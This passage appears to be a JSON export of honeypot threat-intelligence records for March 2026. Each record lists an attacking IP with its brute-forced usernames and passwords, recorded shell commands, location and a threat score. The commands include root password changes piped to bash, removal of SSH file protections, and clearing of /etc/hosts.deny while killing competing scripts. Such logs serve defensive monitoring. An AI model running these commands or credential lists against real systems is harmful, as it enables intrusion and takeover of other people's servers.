        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nQb1xwcpDjBW1\\nQb1xwcpDjBW1\\n\"|passwd",
        "echo \"Soporte123!\\nKpcVmL1of0VP\\nKpcVmL1of0VP\\n\"|passwd",
        "echo \"elemental1234\\nWkzZlMjIlJ1N\\nWkzZlMjIlJ1N\\n\"|passwd",
        "echo -e \"12345\\nQb1xwcpDjBW1\\nQb1xwcpDjBW1\"|passwd|bash",
        "echo -e \"Soporte123!\\nKpcVmL1of0VP\\nKpcVmL1of0VP\"|passwd|bash",
        "echo -e \"elemental1234\\nWkzZlMjIlJ1N\\nWkzZlMjIlJ1N\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buyeo-gun",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T16:05:10.937000+00:00",
        "last_seen_30d": "2026-03-14T16:26:05.580000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 36
      }
    },
    "165.22.211.231": {
      "attack_count": 240,
      "first_seen": "2026-03-02T00:00:12.563Z",
      "last_seen": "2026-03-02T00:40:43.052Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "test",
        "dspace",
        "odoo",
        "admin"
      ],
      "passwords_attempted": [
        "321",
        "4321",
        "54321",
        "123qwe",
        "123qwerty",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "P@ssword",
        "Pa$w0rd",
        "Pa$word",
        "Password",
        "dspace",
        "dspace1",
        "dspace12",
        "dspace123",
        "odoo",
        "odoo1",
        "odoo12"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:12.563000+00:00",
        "last_seen_30d": "2026-03-02T00:40:43.052000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 102
      }
    },
    "161.35.16.244": {
      "attack_count": 235,
      "first_seen": "2026-03-03T13:05:56.289Z",
      "last_seen": "2026-03-03T13:44:01.687Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "ansible",
        "apache",
        "backup"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "letmein",
        "passw0rd",
        "qwerty",
        "welcome",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "administrator2026",
        "ansible",
        "ansible123",
        "ansible2026",
        "apache",
        "apache123",
        "apache2026",
        "backup"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:05:54.253000+00:00",
        "last_seen_30d": "2026-03-03T13:45:51.975000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 235,
        "Suricata": 101
      }
    },
    "165.154.105.128": {
      "attack_count": 219,
      "first_seen": "2026-03-29T14:53:30.886Z",
      "last_seen": "2026-03-29T16:46:07.828Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "10qpalzm",
        "123456jh",
        "123aBc",
        "3245gs5662d34",
        "P@ssw0rd.!",
        "Password01#",
        "Zhu12345",
        "albatros",
        "fjbdfdjkdsfs541544@@",
        "jiangtao",
        "long123",
        "test123!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "echo \"root:72RhUZAFwPr9\"|chpasswd|bash",
        "echo \"root:F7C28PPXS6q6\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T14:53:30.886000+00:00",
        "last_seen_30d": "2026-03-29T16:47:17.662000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "152.32.174.67": {
      "attack_count": 212,
      "first_seen": "2026-03-24T01:20:58.180Z",
      "last_seen": "2026-03-24T01:50:07.963Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alyssa",
        "ftproot",
        "root",
        "ali",
        "comercial",
        "guest",
        "hacker",
        "janice",
        "kamal",
        "mycat",
        "rich",
        "sahil",
        "security",
        "teamspeak"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "12345",
        "123456",
        "Admin101",
        "Ali123",
        "alyssa@123456",
        "comercialcomercial",
        "ftprootpass",
        "hackerhacker",
        "janicepass",
        "kamalkamal",
        "user123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"alyssa@123456\\neGAqJPlQMqi2\\neGAqJPlQMqi2\\n\"|passwd",
        "echo \"root:JfkYw3W2wTG7\"|chpasswd|bash",
        "echo -e \"alyssa@123456\\neGAqJPlQMqi2\\neGAqJPlQMqi2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T01:20:58.180000+00:00",
        "last_seen_30d": "2026-03-24T01:51:17.879000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 44
      }
    },
    "154.222.30.155": {
      "attack_count": 193,
      "first_seen": "2026-03-12T20:24:07.611Z",
      "last_seen": "2026-03-12T20:45:04.265Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ankit",
        "legales",
        "backupuser",
        "claude",
        "ems",
        "g",
        "jitendra",
        "karim",
        "wyy",
        "yujie",
        "zw"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "Backupuser123!",
        "G123",
        "Karim123!",
        "jitendra",
        "legales123",
        "password",
        "yujie",
        "zwpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nujrs7TTThDcj\\nujrs7TTThDcj\\n\"|passwd",
        "echo \"legales123\\nSnU2BF05MqOb\\nSnU2BF05MqOb\\n\"|passwd",
        "echo -e \"12345\\nujrs7TTThDcj\\nujrs7TTThDcj\"|passwd|bash",
        "echo -e \"legales123\\nSnU2BF05MqOb\\nSnU2BF05MqOb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:24:07.611000+00:00",
        "last_seen_30d": "2026-03-12T20:46:09.373000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "103.154.77.48": {
      "attack_count": 188,
      "first_seen": "2026-03-06T01:00:06.156Z",
      "last_seen": "2026-03-06T01:21:29.331Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kube",
        "mikrotik",
        "abhishek",
        "claude",
        "dockeradmin",
        "jirka",
        "jun",
        "lq",
        "mm",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "Aa321321",
        "Jirka123",
        "dockeradmin123!",
        "jun",
        "kube123!",
        "lq123!",
        "mikrotik1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"kube123!\\nyL18Q6dbJbR4\\nyL18Q6dbJbR4\\n\"|passwd",
        "echo \"mikrotik1234\\nrY4Xec2Q1oyj\\nrY4Xec2Q1oyj\\n\"|passwd",
        "echo -e \"kube123!\\nyL18Q6dbJbR4\\nyL18Q6dbJbR4\"|passwd|bash",
        "echo -e \"mikrotik1234\\nrY4Xec2Q1oyj\\nrY4Xec2Q1oyj\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Sleman",
      "asn": 140481,
      "as_org": "PT Tonggak Teknologi Netikom",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:00:06.156000+00:00",
        "last_seen_30d": "2026-03-06T01:22:34.845000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "107.174.159.43": {
      "attack_count": 188,
      "first_seen": "2026-03-07T14:00:56.368Z",
      "last_seen": "2026-03-07T14:21:17.857Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "applmgr",
        "root",
        "steamcmd",
        "jira",
        "krishna",
        "sim",
        "sit",
        "ts3bot",
        "vboxuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Aa321321",
        "Abc12345",
        "applmgr123",
        "krishna123",
        "sim123",
        "sit1234",
        "ts3bot123!",
        "vboxuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nHEEjItxstwzj\\nHEEjItxstwzj\\n\"|passwd",
        "echo \"applmgr123\\njja8VSvoC5aQ\\njja8VSvoC5aQ\\n\"|passwd",
        "echo -e \"123456\\nHEEjItxstwzj\\nHEEjItxstwzj\"|passwd|bash",
        "echo -e \"applmgr123\\njja8VSvoC5aQ\\njja8VSvoC5aQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:00:56.368000+00:00",
        "last_seen_30d": "2026-03-07T14:22:24.396000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "14.225.253.26": {
      "attack_count": 168,
      "first_seen": "2026-03-30T00:34:52.886Z",
      "last_seen": "2026-03-30T01:49:21.860Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "12312312",
        "123456Hh",
        "1q2w3e4r5t!@#",
        "1qa@WS3ed$RF",
        "2b7f731a6a9f0dfd",
        "3245gs5662d34",
        "345gs5662d34",
        "Lm123456!",
        "Tx123456.",
        "XinWei@2024-1",
        "a123456A",
        "common123",
        "fjbdfdjkdsfs541544@@",
        "hercules",
        "huawei!123",
        "javier",
        "kkk123456",
        "password666",
        "qwertyuiop[]123",
        "root@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:hMTvSfsGVTuI\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T00:34:52.886000+00:00",
        "last_seen_30d": "2026-03-30T01:50:26.748000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "146.190.111.235": {
      "attack_count": 168,
      "first_seen": "2026-03-27T16:44:04.721Z",
      "last_seen": "2026-03-27T18:48:16.195Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123321aaa",
        "123456tr",
        "123asd@",
        "3245gs5662d34",
        "345gs5662d34",
        "@123456aA",
        "Chang3m3",
        "Qweasd123",
        "Vivo@2025",
        "Wd123456.",
        "a@12345679",
        "abc123123.",
        "abcd2024",
        "abcde1234%",
        "asdjkl123",
        "axgn2026",
        "dev12",
        "dev123",
        "development",
        "mrcool"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GftXAfrAyBmD\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:44:04.721000+00:00",
        "last_seen_30d": "2026-03-27T18:49:17.275000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "186.4.240.226": {
      "attack_count": 144,
      "first_seen": "2026-03-19T10:14:52.082Z",
      "last_seen": "2026-03-19T10:51:07.688Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "guest",
        "345gs5662d34",
        "alan",
        "alexis",
        "altibase",
        "automation",
        "caja01",
        "cliente",
        "kyt",
        "mycat",
        "omar",
        "pzuser",
        "recepcion",
        "shadow",
        "syncthing",
        "vbox"
      ],
      "passwords_attempted": [
        "1234",
        "12345678",
        "11111111",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "alexis123",
        "automation",
        "mycatpass",
        "omar@123",
        "pzuser@123",
        "recepcion",
        "shadowpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"11111111\\nVI702AkHADzH\\nVI702AkHADzH\\n\"|passwd",
        "echo -e \"11111111\\nVI702AkHADzH\\nVI702AkHADzH\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T10:14:52.082000+00:00",
        "last_seen_30d": "2026-03-19T10:52:13.260000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 41
      }
    },
    "139.19.117.197": {
      "attack_count": 132,
      "first_seen": "2026-03-07T11:53:08.390Z",
      "last_seen": "2026-03-31T17:21:59.181Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Saarbr\u00fccken",
      "asn": 680,
      "as_org": "Verein zur Foerderung eines Deutschen Forschungsnetzes e.V.",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.8,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T11:28:00.532000+00:00",
        "last_seen_30d": "2026-03-31T17:23:04.942000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 100,
        "Cowrie": 88,
        "Honeytrap": 4
      }
    },
    "47.206.67.127": {
      "attack_count": 128,
      "first_seen": "2026-03-02T20:24:46.022Z",
      "last_seen": "2026-03-02T20:56:01.173Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "1qa2ws#ED",
        "3245gs5662d34",
        "345gs5662d34",
        "AA@123321",
        "P@Ssw0rd",
        "P@ssw0rd@2026",
        "a12345678!",
        "a3a3a3a3",
        "aaa123!@#",
        "developer",
        "huawei12#$",
        "qweqwe@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:B7INxNUPj6qo\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tampa",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 163,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:24:46.022000+00:00",
        "last_seen_30d": "2026-03-02T20:57:06.547000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 35
      }
    },
    "103.200.25.198": {
      "attack_count": 124,
      "first_seen": "2026-03-12T19:28:49.798Z",
      "last_seen": "2026-03-12T19:54:50.101Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
